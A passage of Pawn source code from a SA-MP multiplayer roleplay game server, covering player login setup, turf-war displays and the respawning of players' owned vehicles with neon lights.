		  SetPlayerWantedLevel(playerid,PlayerInfo[playerid][pWanted]);
          WantedKamKonTimerValid[playerid] = true;
          WantedTimerEZ[playerid] = 900;
          PlayerTextDrawShow(playerid, WantedTTD[playerid]);
		  format(strrs, sizeof(strrs), "[Dep-Warn]: {0069FF}%s came to server and %s has wanted level(s)",PINFO[playerid][pName],(PINFO[playerid][pSex]==1)?("he"):("she"));
		  SendRadioMessage(1, COLOR_BLUE, strrs);
		  SendRadioMessage(2, COLOR_BLUE, strrs);
		  SendRadioMessage(3, COLOR_BLUE, strrs);
	   }
	   new string2[256];
	   PaymecTime[playerid] = SetTimerEx("Paymec", 60000, true, "i", playerid);
	   //format(string2, sizeof(string2), "~w~Welcome ~n~~y~  %s",playername2);
	   GameTextForPlayer(playerid, string2, 3000, 1);
	   HealthTimer[playerid] = SetTimerEx("HealtheshoKamKon", 40000, true, "i", playerid);
	   //TextDrawShowForPlayer(playerid, Day1);
	   //TextDrawShowForPlayer(playerid, Clock1);
	   //TextDrawShowForPlayer(playerid, TGT);
	   TextDrawShowForPlayer(playerid, SinaG);
	   //TextDrawShowForPlayer(playerid, ShadowsRandom);
		PlayerTextDrawShow(playerid, TD_PlayerName[playerid]);
		TextDrawShowForPlayer(playerid, information);
		
	   TextDrawShowForPlayer(playerid, Time);
	   TextDrawShowForPlayer(playerid, Date);
	   new string[144];
	   new dd,mm,yyy;
	   new ore,mn,sec;
	   getdate(yyy,mm,dd);
	   gettime(ore,mn,sec);
	   format(string,sizeof(string), "%s%d.%s%d.%s%d  %s%d:%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyy < 10) ? ("0") : (""),yyy, (ore < 10) ? ("0") : (""),ore,(mn < 10) ? ("0") : (""),mn);

		//TextDrawShowForPlayer(playerid, pingtd[playerid]);
	//	new pname[MAX_PLAYER_NAME] , str[40];
	//	GetPlayerName(playerid , pname , sizeof(pname));
		//format(str , sizeof(str) , "%s(%d)" , pname , playerid);
	//	TextDrawSetString(TD_PllayerName[playerid] , str);
		//TextDrawShowForPlayer(playerid , TD_PllayerName[playerid]);
		
		/*
	   new string[256];
	   new dd,mm,yy;
	   new ore,mn,sec;
	   */
	   getdate(yyy,mm,dd);
	   gettime(ore,mn,sec);
	   format(string,sizeof(string), "%s%d.%s%d.%s%d  %s%d:%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyy < 10) ? ("0") : (""),yyy, (ore < 10) ? ("0") : (""),ore,(mn < 10) ? ("0") : (""),mn);
	   strmid(PlayerInfo[playerid][pLastLogin], string, 0, strlen(string), 255);
	   SaveKonStr(playerid, "pLastLogin", PINFO[playerid][pLastLogin]);
	   ResetPlayerKolang(playerid);

		if(PINFO[playerid][pAdmin] > 0 && PINFO[playerid][pHelper] == 0) {
		TextDrawShowForPlayer(playerid, ReportsTD);
		TextDrawShowForPlayer(playerid, HelpmesTD);
		}
		if(PINFO[playerid][pAdmin] > 0 && PINFO[playerid][pHelper] > 0) {
		TextDrawShowForPlayer(playerid, ReportsTD);
		TextDrawShowForPlayer(playerid, HelpmesTD);
		}
		if(PINFO[playerid][pHelper] > 0 && PINFO[playerid][pAdmin] == 0) {
		TextDrawShowForPlayer(playerid, HelpmesTD);
		}

		if(PlayerInfo[playerid][pClan] != 0) {
		new c = PlayerInfo[playerid][pClan];
		GivePlayerTag(playerid, DynamicClans[c-1][cTag]);
		}

	   printf("%s has logged in.",playername2);
	   CheckWeaponTime[playerid] = SetTimerEx("CheckWeaponHack",5000,1,"i",playerid);
	   WeaponTimeRunning[playerid] = true;
	   if(IsAMemberC(playerid))
	   {
		  new famil;
		  if(PlayerInfo[playerid][pLeader]) famil = PlayerInfo[playerid][pLeader];
		  else famil = PlayerInfo[playerid][pMember];
		  for(new z = 0;z<50;z++)
		  {
			 if(turfattacker[z] == famil || turfkhod[z] == famil)
			 {
				OnWar[playerid] = z;
				SCM(playerid,COLOR_JOB,"[Turfs]: You have a war type /wartime to see more information.");


					if(turfattacker[z] == famil) {

					new A[144];
//					new D[512];
					format(A, sizeof(A), "%s", DynamicFactions[famil-1][fName]);
					TextDrawSetString(WarA[OnWar[playerid]], A);
					new turfmembers;
					new turf = OnWar[playerid];
					if(!strcmp(TurfInfo[turf][zOwner],"DNB",true)) turfmembers = 5;
					else if(!strcmp(TurfInfo[turf][zOwner],"Triads",true)) turfmembers = 6;
					else if(!strcmp(TurfInfo[turf][zOwner],"GroveStreet",true)) turfmembers = 12;
					else if(!strcmp(TurfInfo[turf][zOwner],"Vagos",true)) turfmembers = 13;
					else if(!strcmp(TurfInfo[turf][zOwner],"TBF",true)) turfmembers = 14;
					else if(!strcmp(TurfInfo[turf][zOwner],"VLA",true)) turfmembers = 15;
					else if(!strcmp(TurfInfo[turf][zOwner],"TopBoys",true)) turfmembers = 19;

					if(turfmembers == 5) {
					TextDrawSetString(WarA[OnWar[playerid]], "De_Nang_Boys");
					}
					else if(turfmembers == 6) {
					TextDrawSetString(WarA[OnWar[playerid]], "The_Triad_Mafia");
					}
					else if(turfmembers == 12) {
					TextDrawSetString(WarA[OnWar[playerid]], "Grove_Street_Mafia");
					}
					else if(turfmembers == 13) {
					TextDrawSetString(WarA[OnWar[playerid]], "The_Vagos_Mafia");
					}
					else if(turfmembers == 14) {
					TextDrawSetString(WarA[OnWar[playerid]], "The_Ballas_Family");
					}
					else if(turfmembers == 15) {
					TextDrawSetString(WarA[OnWar[playerid]], "Varrios_Los_Aztecas");
					}
					else if(turfmembers == 19) {
					TextDrawSetString(WarA[OnWar[playerid]], "Top_Boys_Family");
					}


					}

					else if(turfkhod[z] == famil) {

					new DA[512];
					format(DA, sizeof(DA), "%s", DynamicFactions[famil-1][fName]);
					TextDrawSetString(WarD[OnWar[playerid]], DA);

					new turf = OnWar[playerid];
					new turfmembers = TurfInfo[turf][zAttacker];

					if(turfmembers == 5) {
					TextDrawSetString(WarA[OnWar[playerid]], "De_Nang_Boys");
					}
					else if(turfmembers == 6) {
					TextDrawSetString(WarA[OnWar[playerid]], "The_Triad_Mafia");
					}
					else if(turfmembers == 12) {
					TextDrawSetString(WarA[OnWar[playerid]], "Grove_Street_Mafia");
					}
					else if(turfmembers == 13) {
					TextDrawSetString(WarA[OnWar[playerid]], "The_Vagos_Mafia");
					}
					else if(turfmembers == 14) {
					TextDrawSetString(WarA[OnWar[playerid]], "The_Ballas_Family");
					}
					else if(turfmembers == 15) {
					TextDrawSetString(WarA[OnWar[playerid]], "Varrios_Los_Aztecas");
					}
					else if(turfmembers == 19) {
					TextDrawSetString(WarA[OnWar[playerid]], "Top_Boys_Family");
					}
					}

				TextDrawShowForPlayer(playerid, WarBox);
				TextDrawShowForPlayer(playerid, WarA[OnWar[playerid]]);
				TextDrawShowForPlayer(playerid, WarVS);
				TextDrawShowForPlayer(playerid, WarD[OnWar[playerid]]);
				PlayerTextDrawShow(playerid, WarK[playerid]);
				PlayerTextDrawShow(playerid, WarDea[playerid]);
				PlayerTextDrawShow(playerid, WarS[playerid]);
				//PlayerTextDrawShow(playerid, WarT);
				TextDrawShowForPlayer(playerid, WarTR[OnWar[playerid]]);

			 }
		  }
	   }
	   if(PINFO[playerid][pHeadValue] > 0)
	   {
		  ContractID[playerid] = ReturnContractID();
		  ContractIDUsed[ReturnContractID()] = true;
		  ContractsCount ++;
	   }
	   if(PlayerInfo[playerid][pReg] == 1)
	   {
		  TogglePlayerSpectating(playerid, 0);
		  SetSpawnKol(playerid);
		  SpawnPlayer(playerid);
		  PlayerRespawned[playerid] = 0;
		  AntiKoonHack[playerid] = SetTimerEx("KoonTimer",40000,1,"i",playerid);
			//OthTimers[playerid] = SetTimerEx("otht",1000,1,"i",playerid);

	   }

		AntiPichPichi[playerid] = SetTimerEx("VehsCreate",3000,0,"i",playerid);

	}
	return 1;
}
forward VehsCreate(playerid);
public VehsCreate(playerid) {
KillTimer(AntiPichPichi[playerid]);
AntiPichPichi[playerid]=0;
	if(PlayerInfo[playerid][pVeh1] != 0)
	   {
			new card = PINFO[playerid][pVeh1];

		  if(vInfo[card][gParked] == 0)
		  {

				new model = vInfo[card][cModel];
			 new Float:posx = vInfo[card][cLocationx];
			 new Float:posy = vInfo[card][cLocationy];
			 new Float:posz = vInfo[card][cLocationz];
			 new Float:angle = vInfo[card][cAngle];
			 new color1 = vInfo[card][cColor1];
			 new color2 = vInfo[card][cColor2];
			 new NeonX = vInfo[card][cNeon];

			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);

				PINFO[playerid][pCar_1] = carid;
				PlayerInfo[playerid][pCar_1] = carid;
			 SaveKonVal(playerid, "pCar_1", PINFO[playerid][pCar_1]);

			 if(vInfo[card][cHealth] <= 249.9)
			 {
				vInfo[card][cHealth] = 1000.0;
				SaveKonFloatV(card, "cHealth", 1000);
				if(vInfo[card][cInsurance] <= 0)
				{
					vInfo[card][cFixed] = 0;
					SaveKonValV(card, "cFixed", 0);
				}
				else
				{
					vInfo[card][cInsurance] --;
					SaveKonValV(card, "cInsurance",  vInfo[card][cInsurance]);
				}
			 }
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 SetVehicleNumberPlate(carid, vInfo[card][cPlate]);
			 Benzin[carid] = vInfo[card][cFuel];
			 SetVehicleHealth(carid, vInfo[card][cHealth]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,vInfo[card][cPanel],vInfo[card][cDoors],vInfo[card][cLights],vInfo[card][cTires]);
			 if(NeonX == 18648)// Blue
			 {
			 CarNeons[carid][0] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][1] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][2] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][3] = CreateObject(18648,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][0], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][1], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][2], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][3], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18647)// Red
			 {
			 CarNeons[carid][4] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][5] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][6] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][7] = CreateObject(18647,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][4], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][5], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][6], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][7], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18649)// Green
			 {
			 CarNeons[carid][8] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][9] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][10] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][11] = CreateObject(18649,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][8], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][9], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][10], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][11], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18652)// White
			 {
			 CarNeons[carid][12] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][13] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][14] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][15] = CreateObject(18652,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][12], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][13], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][14], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][15], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18651)// Pink
			 {
			 CarNeons[carid][16] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][17] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][18] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][19] = CreateObject(18651,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][16], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][17], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][18], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][19], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18650)// Yellow
			 {
			 CarNeons[carid][20] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][21] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][22] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][23] = CreateObject(18650,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][20], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][21], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][22], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][23], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 vInfo[card][cLock] = 1;
			 SaveKonValV(card, "cLock", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				SetVehicleParamsForPlayer(carid,i,0,1);
					LockIs[carid][i] = 1;
			 }

		  }
	   }
		if(PlayerInfo[playerid][pVeh2] != 0)
	   {

			new card = PINFO[playerid][pVeh2];

		  if(vInfo[card][gParked] == 0)
		  {

				new model = vInfo[card][cModel];
			 new Float:posx = vInfo[card][cLocationx];
			 new Float:posy = vInfo[card][cLocationy];
			 new Float:posz = vInfo[card][cLocationz];
			 new Float:angle = vInfo[card][cAngle];
			 new color1 = vInfo[card][cColor1];
			 new color2 = vInfo[card][cColor2];
			 new NeonX = vInfo[card][cNeon];

			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);

				PINFO[playerid][pCar_2] = carid;
			 SaveKonVal(playerid, "pCar_2", PINFO[playerid][pCar_2]);

			 if(vInfo[card][cHealth] <= 249.9)
			 {
				vInfo[card][cHealth] = 1000.0;
				SaveKonFloatV(card, "cHealth", 1000);
				if(vInfo[card][cInsurance] <= 0)
				{
					vInfo[card][cFixed] = 0;
					SaveKonValV(card, "cFixed", 0);
				}
				else
				{
					vInfo[card][cInsurance] --;
					SaveKonValV(card, "cInsurance",  vInfo[card][cInsurance]);
				}
			 }
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 SetVehicleNumberPlate(carid, vInfo[card][cPlate]);
			 Benzin[carid] = vInfo[card][cFuel];
			 SetVehicleHealth(carid, vInfo[card][cHealth]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,vInfo[card][cPanel],vInfo[card][cDoors],vInfo[card][cLights],vInfo[card][cTires]);
			 if(NeonX == 18648)// Blue
			 {
			 CarNeons[carid][0] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][1] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][2] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][3] = CreateObject(18648,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][0], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][1], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][2], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][3], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18647)// Red
			 {
			 CarNeons[carid][4] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][5] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][6] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][7] = CreateObject(18647,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][4], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][5], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][6], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][7], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18649)// Green
			 {
			 CarNeons[carid][8] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][9] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][10] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][11] = CreateObject(18649,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][8], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][9], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][10], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][11], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18652)// White
			 {
			 CarNeons[carid][12] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][13] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][14] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][15] = CreateObject(18652,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][12], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][13], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][14], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][15], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18651)// Pink
			 {
			 CarNeons[carid][16] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][17] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][18] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][19] = CreateObject(18651,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][16], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][17], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][18], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][19], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18650)// Yellow
			 {
			 CarNeons[carid][20] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][21] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][22] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][23] = CreateObject(18650,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][20], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][21], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][22], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][23], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 vInfo[card][cLock] = 1;
			 SaveKonValV(card, "cLock", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				SetVehicleParamsForPlayer(carid,i,0,1);
					LockIs[carid][i] = 1;
			 }

		  }
	   }
		if(PlayerInfo[playerid][pVeh3] != 0)
	   {

			new card = PINFO[playerid][pVeh3];

		  if(vInfo[card][gParked] == 0)
		  {
				new model = vInfo[card][cModel];
			 new Float:posx = vInfo[card][cLocationx];
			 new Float:posy = vInfo[card][cLocationy];
			 new Float:posz = vInfo[card][cLocationz];
			 new Float:angle = vInfo[card][cAngle];
			 new color1 = vInfo[card][cColor1];
			 new color2 = vInfo[card][cColor2];
			 new NeonX = vInfo[card][cNeon];

			 new carid = CreateVehicle(model,posx,posy,posz,angle,color1,color2,-1);

				PINFO[playerid][pCar_3] = carid;
				PlayerInfo[playerid][pCar_3] = carid;
			 SaveKonVal(playerid, "pCar_3", PINFO[playerid][pCar_3]);

			 if(vInfo[card][cHealth] <= 249.9)
			 {
				vInfo[card][cHealth] = 1000.0;
				SaveKonFloatV(card, "cHealth", 1000);
				if(vInfo[card][cInsurance] <= 0)
				{
					vInfo[card][cFixed] = 0;
					SaveKonValV(card, "cFixed", 0);
				}
				else
				{
					vInfo[card][cInsurance] --;
					SaveKonValV(card, "cInsurance",  vInfo[card][cInsurance]);
				}
			 }
			 OwnedMashin[carid] = 1;
			 MashinOwner[carid] = playerid;
			 SetVehicleNumberPlate(carid, vInfo[card][cPlate]);
			 PlayerInfo[playerid][pCar_3] = carid;
			 SaveKonVal(playerid, "pCar_3", carid);
			 Benzin[carid] = vInfo[card][cFuel];
			 SetVehicleHealth(carid, vInfo[card][cHealth]);
			 ModVehicle(playerid,carid);
			 UpdateVehicleDamageStatus(carid,vInfo[card][cPanel],vInfo[card][cDoors],vInfo[card][cLights],vInfo[card][cTires]);
			 if(NeonX == 18648)// Blue
			 {
			 CarNeons[carid][0] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][1] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][2] = CreateObject(18648,0,0,0,0,0,0);
			 CarNeons[carid][3] = CreateObject(18648,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][0], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][1], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][2], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][3], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18647)// Red
			 {
			 CarNeons[carid][4] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][5] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][6] = CreateObject(18647,0,0,0,0,0,0);
			 CarNeons[carid][7] = CreateObject(18647,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][4], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][5], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][6], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][7], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18649)// Green
			 {
			 CarNeons[carid][8] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][9] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][10] = CreateObject(18649,0,0,0,0,0,0);
			 CarNeons[carid][11] = CreateObject(18649,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][8], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][9], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][10], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][11], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18652)// White
			 {
			 CarNeons[carid][12] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][13] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][14] = CreateObject(18652,0,0,0,0,0,0);
			 CarNeons[carid][15] = CreateObject(18652,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][12], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][13], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][14], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][15], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18651)// Pink
			 {
			 CarNeons[carid][16] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][17] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][18] = CreateObject(18651,0,0,0,0,0,0);
			 CarNeons[carid][19] = CreateObject(18651,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][16], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][17], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][18], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][19], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 if(NeonX == 18650)// Yellow
			 {
			 CarNeons[carid][20] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][21] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][22] = CreateObject(18650,0,0,0,0,0,0);
			 CarNeons[carid][23] = CreateObject(18650,0,0,0,0,0,0);
			 AttachObjectToVehicle(CarNeons[carid][20], carid, -0.909999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 AttachObjectToVehicle(CarNeons[carid][21], carid, 0.914999, -0.009999, -0.649999, 0.000000, 0.000000, 0.000000);
			 //AttachObjectToVehicle(CarNeons[carid][22], carid, 0.034999, 2.225003, -0.629999, 0.000000, 0.000000, -88.589958);
			 //AttachObjectToVehicle(CarNeons[carid][23], carid, 0.034999, -2.034998, -0.629999, 0.000000, 0.000000, -88.589958);
			 VehicleNeon[carid] = 1;
			 }
			 vInfo[card][cLock] = 1;
			 SaveKonValV(card, "cLock", 1);
			 for(new i = 0; i < Akharish; i++ )
			 {
				SetVehicleParamsForPlayer(carid,i,0,1);
					LockIs[carid][i] = 1;
			 }

		  }
	   }
		if(PlayerInfo[playerid][pVeh4] != 0)
	   {

			new card = PINFO[playerid][pVeh4];

		  if(vInfo[card][gParked] == 0)
		  {

				new model = vInfo[card][cModel];
			 new Float:posx = vInfo[card][cLocationx];
			 new Float:posy = vInfo[card][cLocationy];
			 new Float:posz = vInfo[card][cLocationz];
